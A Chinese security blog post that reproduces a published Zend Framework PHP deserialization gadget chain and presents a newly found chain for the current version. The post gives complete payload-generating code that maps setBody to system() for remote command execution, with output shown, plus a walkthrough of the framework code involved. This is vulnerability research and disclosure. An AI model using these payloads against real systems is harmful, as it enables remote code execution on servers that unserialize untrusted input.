• Zend Framework 3.1.3 gadget chain


    前言

    在推特上的PT SWARM账号发布了一条消息。

    一个名为Zend Framework的php框架出现了新的gadget chain,可导致RCE。笔者尝试复现,但失败了。所幸,我基于此链,发现在这个框架的最新版本中的另一条链。

    复现过程

    这里使用vscode的ssh链接Ubuntu虚拟机,Ubuntu虚拟机内开有php7.2+nginx+xdebug的docker环境。使用composer安装框架。

    这里偷懒,使用官方提供的MVC骨架,安装指令: composer create-project zendframework/skeleton-application path/to/install。根据下链,有一些包这个骨架还没安装。使用composer require安装zendframework/zend-filterzendframework/zend-logzendframework/zend-mail

    这里放 复现环境,使用docker-compose up -d即可。

    首先需要注意的是,ZF框架已经停止维护了。这是一个相当有年头的框架了,我估计不会发cve,要不然也不会公布…

    gadget chain

    1. class Zend_Log
    2. {
    3. protected $_writers;
    4. function __construct($x)
    5. {
    6. $this->_writers = $x;
    7. }
    8. }
    9. class Zend_Log_Writer_Mail
    10. {
    11. protected $_eventsToMail;
    12. protected $_layoutEventsToMail;
    13. protected $_mail;
    14. protected $_layout;
    15. protected $_subjectPrependText;
    16. public function __construct(
    17. $eventsToMail,
    18. $layoutEventsToMail,
    19. $mail,
    20. $layout
    21. ) {
    22. $this->_eventsToMail = $eventsToMail;
    23. $this->_layoutEventsToMail = $layoutEventsToMail;
    24. $this->_mail = $mail;
    25. $this->_layout = $layout;
    26. $this->_subjectPrependText = null;
    27. }
    28. }
    29. class Zend_Mail
    30. {
    31. }
    32. class Zend_Layout
    33. {
    34. protected $_inflector;
    35. protected $_inflectorEnabled;
    36. protected $_layout;
    37. public function __construct(
    38. $inflector,
    39. $inflectorEnabled,
    40. $layout
    41. ) {
    42. $this->_inflector = $inflector;
    43. $this->_inflectorEnabled = $inflectorEnabled;
    44. $this->_layout = '){}' . $layout . '/*';
    45. }
    46. }
    47. class Zend_Filter_Callback
    48. {
    49. protected $_callback = "create_function";
    50. protected $_options = [""];
    51. }
    52. class Zend_Filter_Inflector
    53. {
    54. protected $_rules = [];
    55. public function __construct()
    56. {
    57. $this->_rules['script'] = [new Zend_Filter_Callback()];
    58. }
    59. }
    60. $code = "phpinfo();exit;";
    61. $a = new \Zend_Log(
    62. [new \Zend_Log_Writer_Mail(
    63. [1],
    64. [],
    65. new \Zend_Mail,
    66. new \Zend_Layout(
    67. new Zend_Filter_Inflector(),
    68. true,
    69. $code
    70. )
    71. )]
    72. );
    73. echo urlencode(serialize(['test' => $a]));

    我把序列化数据打进去后发现这些类都变成了匿名类,简而言之就是ClassLoader没有找到这些类。这就很怪了。之后才发现,这些类的命名使用的是psr-0的规范。这个规范是放在以前php没有命名空间的时候使用的,早过时了。现在是psr-4。composer默认也是按照psr-4的规范安装的。

    也就是说,这个链的可利用版本大致是相当古老的了(

    我尝试安装更老旧版本的ZF框架。果然,老版本框架要求php版本在5.3以下……于是不打算继续复现…

    新链发现

    我尝试将上面poc的代码转换为psr-4规范,发现有一些类还有,有一些类则完全不在了,例如Zend_Layout类在ZF包的新版本中就没有。

    我尝试利用现有的类进行测试,最终在上链基础上找到了新版本的链。

    1. namespace Zend\Log {
    2. class Logger
    3. {
    4. protected $writers;
    5. function __construct()
    6. {
    7. $this->writers = [new \Zend\Log\Writer\Mail()];
    8. }
    9. }
    10. }
    11. namespace Zend\Log\Writer {
    12. class Mail {
    13. protected $mail;
    14. protected $eventsToMail;
    15. protected $subjectPrependText;
    16. function __construct()
    17. {
    18. $this->mail = new \Zend\View\Renderer\PhpRenderer();
    19. $this->eventsToMail = ["id"];
    20. $this->subjectPrependText = null;
    21. }
    22. }
    23. }
    24. namespace Zend\View\Renderer {
    25. class PhpRenderer {
    26. private $__helpers;
    27. function __construct()
    28. {
    29. $this->__helpers = new \Zend\View\Resolver\TemplateMapResolver();
    30. }
    31. }
    32. }
    33. namespace Zend\View\Resolver {
    34. class TemplateMapResolver {
    35. protected $map;
    36. function __construct()
    37. {
    38. $this->map = [
    39. "setBody" => "system",
    40. ];
    41. }
    42. }
    43. }
    44. namespace {
    45. $payload = new \Zend\Log\Logger();
    46. echo urlencode(serialize($payload));
    47. }
    48. /*
    49. OUTPUT:
    50. uid=33(www-data) gid=33(www-data) groups=33(www-data)
    51. */

    对此链进行调试

    调试

    1. // Zend\Log\Logger
    2. public function __destruct()
    3. {
    4. foreach ($this->writers as $writer) {
    5. try {
    6. $writer->shutdown();
    7. } catch (\Exception $e) {
    8. }
    9. }
    10. }

    起点是Zend\Log\Logger类的__destruct方法,这其实就是复现的那条链的Zend_Log类,新版本改名为此。

    可以看到这里调用了一个变量$writershutdown方法。那么接下来就有两个思路。

    1. $writer设为没有shutdown方法的实例,调用其__call方法
    2. $writer设为有shutdown方法的实例,调用其shutdown方法

    我这里找到了Zend\Log\Writer\Mail类有这个shutdown方法,同时找到了一个比较好用的__call方法。

    1. public function shutdown()
    2. {
    3. if (empty($this->eventsToMail)) {
    4. return;
    5. }
    6. if ($this->subjectPrependText !== null) {
    7. $numEntries = $this->getFormattedNumEntriesPerPriority();
    8. $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
    9. }
    10. $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
    11. try {
    12. $this->transport->send($this->mail);
    13. } catch (TransportException\ExceptionInterface $e) {
    14. trigger_error(
    15. "unable to send log entries via email; " .
    16. "message = {$e->getMessage()}; " .
    17. "code = {$e->getCode()}; " .
    18. "exception class = " . get_class($e),
    19. E_USER_WARNING
    20. );
    21. }
    22. }

    这个方法调用了很多其它的方法,一开始没什么思路,再看看刚才说的__call方法。

    1. // Zend\View\Renderer\PhpRenderer
    2. public function __call($method, $argv)
    3. {
    4. $plugin = $this->plugin($method);
    5. if (is_callable($plugin)) {
    6. return call_user_func_array($plugin, $argv);
    7. }
    8. return $plugin;
    9. }

    可以看到,call_user_func_array并没有限制类(通常会这么写call_user_func_array([$this, $method], $argv)以防止调用类外方法)。这里可能会导致RCE,跟入plugin方法

    1. public function getHelperPluginManager()
    2. {
    3. if (null === $this->__helpers) {
    4. $this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
    5. }
    6. return $this->__helpers;
    7. }
    8. public function plugin($name, array $options = null)
    9. {
    10. return $this->getHelperPluginManager()->get($name, $options);
    11. }

    跟入后首先会调用getHelperPluginManager方法,其返回值可以被控制。问题就是接下来的get方法了。这里找到一个好用的get方法。

    1. // Zend\View\Resolver\TemplateMapResolver
    2. public function has($name)
    3. {
    4. return array_key_exists($name, $this->map);
    5. }
    6. public function get($name)
    7. {
    8. if (! $this->has($name)) {
    9. return false;
    10. }
    11. return $this->map[$name];
    12. }

    Zend\View\Resolver\TemplateMapResolver类中的get方法明显是可以控制返回值的。那么之前plugin的返回值也就可以随心所欲了。之后调用__call方法里的call_user_func_array的第一个参数就随便我们控制了。

    但现在还有一个问题,就是call_user_func_array的第二个参数无法控制。这时我想起了之前的shutdown方法。

    1. public function shutdown()
    2. {
    3. if (empty($this->eventsToMail)) {
    4. return;
    5. }
    6. if ($this->subjectPrependText !== null) {
    7. $numEntries = $this->getFormattedNumEntriesPerPriority();
    8. $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
    9. }
    10. /* 注意这一句 */
    11. $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
    12. try {
    13. $this->transport->send($this->mail);
    14. } catch (TransportException\ExceptionInterface $e) {
    15. trigger_error(
    16. "unable to send log entries via email; " .
    17. "message = {$e->getMessage()}; " .
    18. "code = {$e->getCode()}; " .
    19. "exception class = " . get_class($e),
    20. E_USER_WARNING
    21. );
    22. }
    23. }

    很明显,我们想让终点的call_user_func_array的第二个参数有值。需要之前调用不存在方法时有参数。很明显,上面shutdown方法里有这么一句符合我们要求。

    $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));首先可以调用__call方法,然后$this->eventsToMail经过implode函数可控。很明显,这个方法的参数可控,直接芜湖。

    调用堆栈:

    心得

    可以看到,上面这样一条gadget链的寻找并没有那么困难。关键便是抓住php本身的特性,才能运用得灵活自如。

  • 相关阅读:
    微信小程序 --- wx.request网络请求封装
    区块链技术在金融领域的应用场景
    UOS Deepin Ubuntu Linux 开启 ssh 远程登录
    塑化行业渠道经销商管理系统:快速扩大渠道规模,促进供销双方高效发展
    java-net-php-python-ssm宠物商店计算机毕业设计程序
    October 2019 Twice SQL Injection
    高压放大器在制备功能材料中的应用
    第四十三天&jmeter组件及其操作(2)
    C++读取注册表
    设计模式:命令模式(C++实现)
  • 原文地址:https://blog.csdn.net/why811/article/details/133764453